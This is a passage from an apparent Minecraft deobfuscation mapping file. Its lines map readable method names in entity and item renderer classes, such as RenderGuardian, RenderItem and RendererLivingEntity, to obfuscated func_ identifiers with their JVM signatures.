net/minecraft/client/renderer/entity/RenderGuardian/func_177071_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z +MD: net/minecraft/client/renderer/entity/RenderGuardian/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RenderGuardian/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderGuardian/func_177110_a (Lnet/minecraft/entity/EntityLivingBase;DF)Lnet/minecraft/util/Vec3; net/minecraft/client/renderer/entity/RenderGuardian/func_177110_a (Lnet/minecraft/entity/EntityLivingBase;DF)Lnet/minecraft/util/Vec3; +MD: net/minecraft/client/renderer/entity/RenderGuardian/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderGuardian/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderGuardian/doRender (Lnet/minecraft/entity/EntityLiving;DDDFF)V net/minecraft/client/renderer/entity/RenderGuardian/func_76986_a (Lnet/minecraft/entity/EntityLiving;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderGuardian/shouldRender (Lnet/minecraft/entity/EntityLiving;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z net/minecraft/client/renderer/entity/RenderGuardian/func_177071_a (Lnet/minecraft/entity/EntityLiving;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z +MD: net/minecraft/client/renderer/entity/RenderGuardian/getEntityTexture (Lnet/minecraft/entity/monster/EntityGuardian;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderGuardian/func_110775_a (Lnet/minecraft/entity/monster/EntityGuardian;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderGuardian/doRender (Lnet/minecraft/entity/monster/EntityGuardian;DDDFF)V net/minecraft/client/renderer/entity/RenderGuardian/func_76986_a (Lnet/minecraft/entity/monster/EntityGuardian;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderGuardian/preRenderCallback (Lnet/minecraft/entity/monster/EntityGuardian;F)V net/minecraft/client/renderer/entity/RenderGuardian/func_77041_b (Lnet/minecraft/entity/monster/EntityGuardian;F)V +MD: net/minecraft/client/renderer/entity/RenderGuardian/shouldRender (Lnet/minecraft/entity/monster/EntityGuardian;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z net/minecraft/client/renderer/entity/RenderGuardian/func_177071_a (Lnet/minecraft/entity/monster/EntityGuardian;Lnet/minecraft/client/renderer/culling/ICamera;DDD)Z +MD: net/minecraft/client/renderer/entity/RenderHorse/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderHorse/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderHorse/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderHorse/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderHorse/getEntityTexture (Lnet/minecraft/entity/passive/EntityHorse;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderHorse/func_110775_a (Lnet/minecraft/entity/passive/EntityHorse;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderHorse/preRenderCallback (Lnet/minecraft/entity/passive/EntityHorse;F)V net/minecraft/client/renderer/entity/RenderHorse/func_77041_b (Lnet/minecraft/entity/passive/EntityHorse;F)V +MD: net/minecraft/client/renderer/entity/RenderHorse/func_110848_b (Lnet/minecraft/entity/passive/EntityHorse;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderHorse/func_110848_b (Lnet/minecraft/entity/passive/EntityHorse;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderBiped/transformHeldFull3DItemLayer ()V net/minecraft/client/renderer/entity/RenderBiped/func_82422_c ()V +MD: net/minecraft/client/renderer/entity/RenderBiped/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderBiped/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderBiped/getEntityTexture (Lnet/minecraft/entity/EntityLiving;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderBiped/func_110775_a (Lnet/minecraft/entity/EntityLiving;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderEntityItem/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderEntityItem/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderEntityItem/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderEntityItem/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderEntityItem/getEntityTexture (Lnet/minecraft/entity/item/EntityItem;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderEntityItem/func_110775_a (Lnet/minecraft/entity/item/EntityItem;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderEntityItem/doRender (Lnet/minecraft/entity/item/EntityItem;DDDFF)V net/minecraft/client/renderer/entity/RenderEntityItem/func_76986_a (Lnet/minecraft/entity/item/EntityItem;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderEntityItem/func_177077_a (Lnet/minecraft/entity/item/EntityItem;DDDFLnet/minecraft/client/resources/model/IBakedModel;)I net/minecraft/client/renderer/entity/RenderEntityItem/func_177077_a (Lnet/minecraft/entity/item/EntityItem;DDDFLnet/minecraft/client/resources/model/IBakedModel;)I +MD: net/minecraft/client/renderer/entity/RenderEntityItem/func_177078_a (Lnet/minecraft/item/ItemStack;)I net/minecraft/client/renderer/entity/RenderEntityItem/func_177078_a (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/client/renderer/tileentity/RenderItemFrame/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/tileentity/RenderItemFrame/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/tileentity/RenderItemFrame/renderName (Lnet/minecraft/entity/Entity;DDD)V net/minecraft/client/renderer/tileentity/RenderItemFrame/func_177067_a (Lnet/minecraft/entity/Entity;DDD)V +MD: net/minecraft/client/renderer/tileentity/RenderItemFrame/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/tileentity/RenderItemFrame/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/tileentity/RenderItemFrame/getEntityTexture (Lnet/minecraft/entity/item/EntityItemFrame;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/tileentity/RenderItemFrame/func_110775_a (Lnet/minecraft/entity/item/EntityItemFrame;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/tileentity/RenderItemFrame/renderName (Lnet/minecraft/entity/item/EntityItemFrame;DDD)V net/minecraft/client/renderer/tileentity/RenderItemFrame/func_177067_a (Lnet/minecraft/entity/item/EntityItemFrame;DDD)V +MD: net/minecraft/client/renderer/tileentity/RenderItemFrame/doRender (Lnet/minecraft/entity/item/EntityItemFrame;DDDFF)V net/minecraft/client/renderer/tileentity/RenderItemFrame/func_76986_a (Lnet/minecraft/entity/item/EntityItemFrame;DDDFF)V +MD: net/minecraft/client/renderer/tileentity/RenderItemFrame/renderItem (Lnet/minecraft/entity/item/EntityItemFrame;)V net/minecraft/client/renderer/tileentity/RenderItemFrame/func_82402_b (Lnet/minecraft/entity/item/EntityItemFrame;)V +MD: net/minecraft/client/renderer/entity/RenderItem$1/call ()Ljava/lang/String; net/minecraft/client/renderer/entity/RenderItem$1/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/entity/RenderItem$1/call ()Ljava/lang/Object; net/minecraft/client/renderer/entity/RenderItem$1/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/entity/RenderItem$2/call ()Ljava/lang/String; net/minecraft/client/renderer/entity/RenderItem$2/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/entity/RenderItem$2/call ()Ljava/lang/Object; net/minecraft/client/renderer/entity/RenderItem$2/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/entity/RenderItem$3/call ()Ljava/lang/String; net/minecraft/client/renderer/entity/RenderItem$3/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/entity/RenderItem$3/call ()Ljava/lang/Object; net/minecraft/client/renderer/entity/RenderItem$3/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/entity/RenderItem$4/call ()Ljava/lang/String; net/minecraft/client/renderer/entity/RenderItem$4/call ()Ljava/lang/String; +MD: net/minecraft/client/renderer/entity/RenderItem$4/call ()Ljava/lang/Object; net/minecraft/client/renderer/entity/RenderItem$4/call ()Ljava/lang/Object; +MD: net/minecraft/client/renderer/entity/RenderItem$5/getModelLocation (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/entity/RenderItem$5/func_178113_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderItem$6/getModelLocation (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/entity/RenderItem$6/func_178113_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderItem$7/getModelLocation (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/entity/RenderItem$7/func_178113_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderItem$8/getModelLocation (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/entity/RenderItem$8/func_178113_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderItem$9/getModelLocation (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/entity/RenderItem$9/func_178113_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderItem/getItemModelMesher ()Lnet/minecraft/client/renderer/ItemModelMesher; net/minecraft/client/renderer/entity/RenderItem/func_175037_a ()Lnet/minecraft/client/renderer/ItemModelMesher; +MD: net/minecraft/client/renderer/entity/RenderItem/setupGuiTransform (IIZ)V net/minecraft/client/renderer/entity/RenderItem/func_180452_a (IIZ)V +MD: net/minecraft/client/renderer/entity/RenderItem/registerBlock (Lnet/minecraft/block/Block;ILjava/lang/String;)V net/minecraft/client/renderer/entity/RenderItem/func_175029_a (Lnet/minecraft/block/Block;ILjava/lang/String;)V +MD: net/minecraft/client/renderer/entity/RenderItem/registerBlock (Lnet/minecraft/block/Block;Ljava/lang/String;)V net/minecraft/client/renderer/entity/RenderItem/func_175031_a (Lnet/minecraft/block/Block;Ljava/lang/String;)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderItemOverlays (Lnet/minecraft/client/gui/FontRenderer;Lnet/minecraft/item/ItemStack;II)V net/minecraft/client/renderer/entity/RenderItem/func_175030_a (Lnet/minecraft/client/gui/FontRenderer;Lnet/minecraft/item/ItemStack;II)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderItemOverlayIntoGUI (Lnet/minecraft/client/gui/FontRenderer;Lnet/minecraft/item/ItemStack;IILjava/lang/String;)V net/minecraft/client/renderer/entity/RenderItem/func_180453_a (Lnet/minecraft/client/gui/FontRenderer;Lnet/minecraft/item/ItemStack;IILjava/lang/String;)V +MD: net/minecraft/client/renderer/entity/RenderItem/draw (Lnet/minecraft/client/renderer/WorldRenderer;IIIIIIII)V net/minecraft/client/renderer/entity/RenderItem/func_181565_a (Lnet/minecraft/client/renderer/WorldRenderer;IIIIIIII)V +MD: net/minecraft/client/renderer/entity/RenderItem/putQuadNormal (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/block/model/BakedQuad;)V net/minecraft/client/renderer/entity/RenderItem/func_175038_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/block/model/BakedQuad;)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderQuad (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/block/model/BakedQuad;I)V net/minecraft/client/renderer/entity/RenderItem/func_175033_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/client/renderer/block/model/BakedQuad;I)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderQuads (Lnet/minecraft/client/renderer/WorldRenderer;Ljava/util/List;ILnet/minecraft/item/ItemStack;)V net/minecraft/client/renderer/entity/RenderItem/func_175032_a (Lnet/minecraft/client/renderer/WorldRenderer;Ljava/util/List;ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/renderer/entity/RenderItem/isThereOneNegativeScale (Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f;)Z net/minecraft/client/renderer/entity/RenderItem/func_183005_a (Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f;)Z +MD: net/minecraft/client/renderer/entity/RenderItem/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/entity/RenderItem/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderEffect (Lnet/minecraft/client/resources/model/IBakedModel;)V net/minecraft/client/renderer/entity/RenderItem/func_180451_a (Lnet/minecraft/client/resources/model/IBakedModel;)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderModel (Lnet/minecraft/client/resources/model/IBakedModel;I)V net/minecraft/client/renderer/entity/RenderItem/func_175035_a (Lnet/minecraft/client/resources/model/IBakedModel;I)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderModel (Lnet/minecraft/client/resources/model/IBakedModel;ILnet/minecraft/item/ItemStack;)V net/minecraft/client/renderer/entity/RenderItem/func_175045_a (Lnet/minecraft/client/resources/model/IBakedModel;ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderModel (Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/item/ItemStack;)V net/minecraft/client/renderer/entity/RenderItem/func_175036_a (Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/renderer/entity/RenderItem/registerItem (Lnet/minecraft/item/Item;ILjava/lang/String;)V net/minecraft/client/renderer/entity/RenderItem/func_175048_a (Lnet/minecraft/item/Item;ILjava/lang/String;)V +MD: net/minecraft/client/renderer/entity/RenderItem/registerItem (Lnet/minecraft/item/Item;Ljava/lang/String;)V net/minecraft/client/renderer/entity/RenderItem/func_175047_a (Lnet/minecraft/item/Item;Ljava/lang/String;)V +MD: net/minecraft/client/renderer/entity/RenderItem/shouldRenderItemIn3D (Lnet/minecraft/item/ItemStack;)Z net/minecraft/client/renderer/entity/RenderItem/func_175050_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/client/renderer/entity/RenderItem/renderItemIntoGUI (Lnet/minecraft/item/ItemStack;II)V net/minecraft/client/renderer/entity/RenderItem/func_175042_a (Lnet/minecraft/item/ItemStack;II)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderItem (Lnet/minecraft/item/ItemStack;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V net/minecraft/client/renderer/entity/RenderItem/func_181564_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderItem (Lnet/minecraft/item/ItemStack;Lnet/minecraft/client/resources/model/IBakedModel;)V net/minecraft/client/renderer/entity/RenderItem/func_180454_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/client/resources/model/IBakedModel;)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderItemModelTransform (Lnet/minecraft/item/ItemStack;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V net/minecraft/client/renderer/entity/RenderItem/func_175040_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderItemModelForEntity (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V net/minecraft/client/renderer/entity/RenderItem/func_175049_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)V +MD: net/minecraft/client/renderer/entity/RenderItem/isNotRenderingEffectsInGUI (Z)V net/minecraft/client/renderer/entity/RenderItem/func_175039_a (Z)V +MD: net/minecraft/client/renderer/entity/RenderItem/registerItems ()V net/minecraft/client/renderer/entity/RenderItem/func_175041_b ()V +MD: net/minecraft/client/renderer/entity/RenderItem/preTransform (Lnet/minecraft/item/ItemStack;)V net/minecraft/client/renderer/entity/RenderItem/func_175046_c (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/client/renderer/entity/RenderItem/renderItemAndEffectIntoGUI (Lnet/minecraft/item/ItemStack;II)V net/minecraft/client/renderer/entity/RenderItem/func_180450_b (Lnet/minecraft/item/ItemStack;II)V +MD: net/minecraft/client/renderer/entity/RenderMagmaCube/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderMagmaCube/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderMagmaCube/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RenderMagmaCube/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RenderMagmaCube/getEntityTexture (Lnet/minecraft/entity/monster/EntityMagmaCube;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderMagmaCube/func_110775_a (Lnet/minecraft/entity/monster/EntityMagmaCube;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderMagmaCube/preRenderCallback (Lnet/minecraft/entity/monster/EntityMagmaCube;F)V net/minecraft/client/renderer/entity/RenderMagmaCube/func_77041_b (Lnet/minecraft/entity/monster/EntityMagmaCube;F)V +MD: net/minecraft/client/renderer/entity/RenderLeashKnot/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderLeashKnot/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderLeashKnot/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderLeashKnot/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderLeashKnot/getEntityTexture (Lnet/minecraft/entity/EntityLeashKnot;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderLeashKnot/func_110775_a (Lnet/minecraft/entity/EntityLeashKnot;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderLeashKnot/doRender (Lnet/minecraft/entity/EntityLeashKnot;DDDFF)V net/minecraft/client/renderer/entity/RenderLeashKnot/func_76986_a (Lnet/minecraft/entity/EntityLeashKnot;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderLightningBolt/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderLightningBolt/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderLightningBolt/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderLightningBolt/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderLightningBolt/getEntityTexture (Lnet/minecraft/entity/effect/EntityLightningBolt;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderLightningBolt/func_110775_a (Lnet/minecraft/entity/effect/EntityLightningBolt;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderLightningBolt/doRender (Lnet/minecraft/entity/effect/EntityLightningBolt;DDDFF)V net/minecraft/client/renderer/entity/RenderLightningBolt/func_76986_a (Lnet/minecraft/entity/effect/EntityLightningBolt;DDDFF)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/transformHeldFull3DItemLayer ()V net/minecraft/client/renderer/entity/RendererLivingEntity/func_82422_c ()V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/interpolateRotation (FFF)F net/minecraft/client/renderer/entity/RendererLivingEntity/func_77034_a (FFF)F +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/addLayer (Lnet/minecraft/client/renderer/entity/layers/LayerRenderer;)Z net/minecraft/client/renderer/entity/RendererLivingEntity/func_177094_a (Lnet/minecraft/client/renderer/entity/layers/LayerRenderer;)Z +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/renderName (Lnet/minecraft/entity/Entity;DDD)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_177067_a (Lnet/minecraft/entity/Entity;DDD)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/canRenderName (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/client/renderer/entity/RendererLivingEntity/func_177070_b (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/renderLivingAt (Lnet/minecraft/entity/EntityLivingBase;DDD)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_77039_a (Lnet/minecraft/entity/EntityLivingBase;DDD)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/doRender (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_76986_a (Lnet/minecraft/entity/EntityLivingBase;DDDFF)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/preRenderCallback (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_77041_b (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/getColorMultiplier (Lnet/minecraft/entity/EntityLivingBase;FF)I net/minecraft/client/renderer/entity/RendererLivingEntity/func_77030_a (Lnet/minecraft/entity/EntityLivingBase;FF)I +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/rotateCorpse (Lnet/minecraft/entity/EntityLivingBase;FFF)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_77043_a (Lnet/minecraft/entity/EntityLivingBase;FFF)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/renderModel (Lnet/minecraft/entity/EntityLivingBase;FFFFFF)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_77036_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFF)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/renderLayers (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_177093_a (Lnet/minecraft/entity/EntityLivingBase;FFFFFFF)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/setBrightness (Lnet/minecraft/entity/EntityLivingBase;FZ)Z net/minecraft/client/renderer/entity/RendererLivingEntity/func_177092_a (Lnet/minecraft/entity/EntityLivingBase;FZ)Z +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/setRenderOutlines (Z)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_177086_a (Z)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/getMainModel ()Lnet/minecraft/client/model/ModelBase; net/minecraft/client/renderer/entity/RendererLivingEntity/func_177087_b ()Lnet/minecraft/client/model/ModelBase; +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/removeLayer (Lnet/minecraft/client/renderer/entity/layers/LayerRenderer;)Z net/minecraft/client/renderer/entity/RendererLivingEntity/func_177089_b (Lnet/minecraft/client/renderer/entity/layers/LayerRenderer;)Z +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/canRenderName (Lnet/minecraft/entity/Entity;)Z net/minecraft/client/renderer/entity/RendererLivingEntity/func_177070_b (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/getDeathMaxRotation (Lnet/minecraft/entity/EntityLivingBase;)F net/minecraft/client/renderer/entity/RendererLivingEntity/func_77037_a (Lnet/minecraft/entity/EntityLivingBase;)F +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/renderName (Lnet/minecraft/entity/EntityLivingBase;DDD)V net/minecraft/client/renderer/entity/RendererLivingEntity/func_177067_a (Lnet/minecraft/entity/EntityLivingBase;DDD)V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/handleRotationFloat (Lnet/minecraft/entity/EntityLivingBase;F)F net/minecraft/client/renderer/entity/RendererLivingEntity/func_77044_a (Lnet/minecraft/entity/EntityLivingBase;F)F +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/setScoreTeamColor (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/client/renderer/entity/RendererLivingEntity/func_177088_c (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/setDoRenderBrightness (Lnet/minecraft/entity/EntityLivingBase;F)Z net/minecraft/client/renderer/entity/RendererLivingEntity/func_177090_c (Lnet/minecraft/entity/EntityLivingBase;F)Z +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/getSwingProgress (Lnet/minecraft/entity/EntityLivingBase;F)F net/minecraft/client/renderer/entity/RendererLivingEntity/func_77040_d (Lnet/minecraft/entity/EntityLivingBase;F)F +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/unsetScoreTeamColor ()V net/minecraft/client/renderer/entity/RendererLivingEntity/func_180565_e ()V +MD: net/minecraft/client/renderer/entity/RendererLivingEntity/unsetBrightness ()V net/minecraft/client/renderer/entity/RendererLivingEntity/func_177091_f ()V +MD: net/minecraft/client/renderer/entity/RenderMinecart/getEntityTexture (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderMinecart/func_110775_a (Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderMinecart/doRender (Lnet/minecraft/entity/Entity;DDDFF)V net/minecraft/client/renderer/entity/RenderMinecart/func_76986_a (Lnet/minecraft/entity/Entity;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderMinecart/getEntityTexture (Lnet/minecraft/entity/item/EntityMinecart;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/entity/RenderMinecart/func_110775_a (Lnet/minecraft/entity/item/EntityMinecart;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/entity/RenderMinecart/doRender (Lnet/minecraft/entity/item/EntityMinecart;DDDFF)V net/minecraft/client/renderer/entity/RenderMinecart/func_76986_a (Lnet/minecraft/entity/item/EntityMinecart;DDDFF)V +MD: net/minecraft/client/renderer/entity/RenderMinecart/func_180560_a (Lnet/minecraft/entity/item/EntityMinecart;FLnet/minecraft/block/state/IBlockState;)V net/minecraft/client/renderer/entity/RenderMinecart/func_180560_a (Lnet/minecraft/entity/item/EntityMinecart;FLnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/client/renderer/entity/RenderMinecartMobSpawner/func_180560_a (Lnet/minecraft/entity/item/EntityMinecart;FLnet/minecraft/block/state/IBlockState;)V net/minecraft/client/renderer/entity/RenderMinecartMobSpawner/func_180560_a (Lnet/minecraft/entity/item/EntityMinecart;FLnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/client/renderer/entity/RenderMinecartMobSpawner/func_180560_a (Lnet/minecraft/entity/ai/EntityMinecartMobSpawner;FLnet/minecraft/block/state/IBlockState;)V net/minecraft/client/renderer/entity/RenderMinecartMobSpawner/func_180560_a (Lnet/minecraft/entity/ai/EntityMinecartMobSpawner;FLnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/client/renderer/entity/RenderLiving/interpolateValue (DDD)D net/minecraft/client/renderer/entity/RenderLiving/func_110828_a (DDD)D +MD: 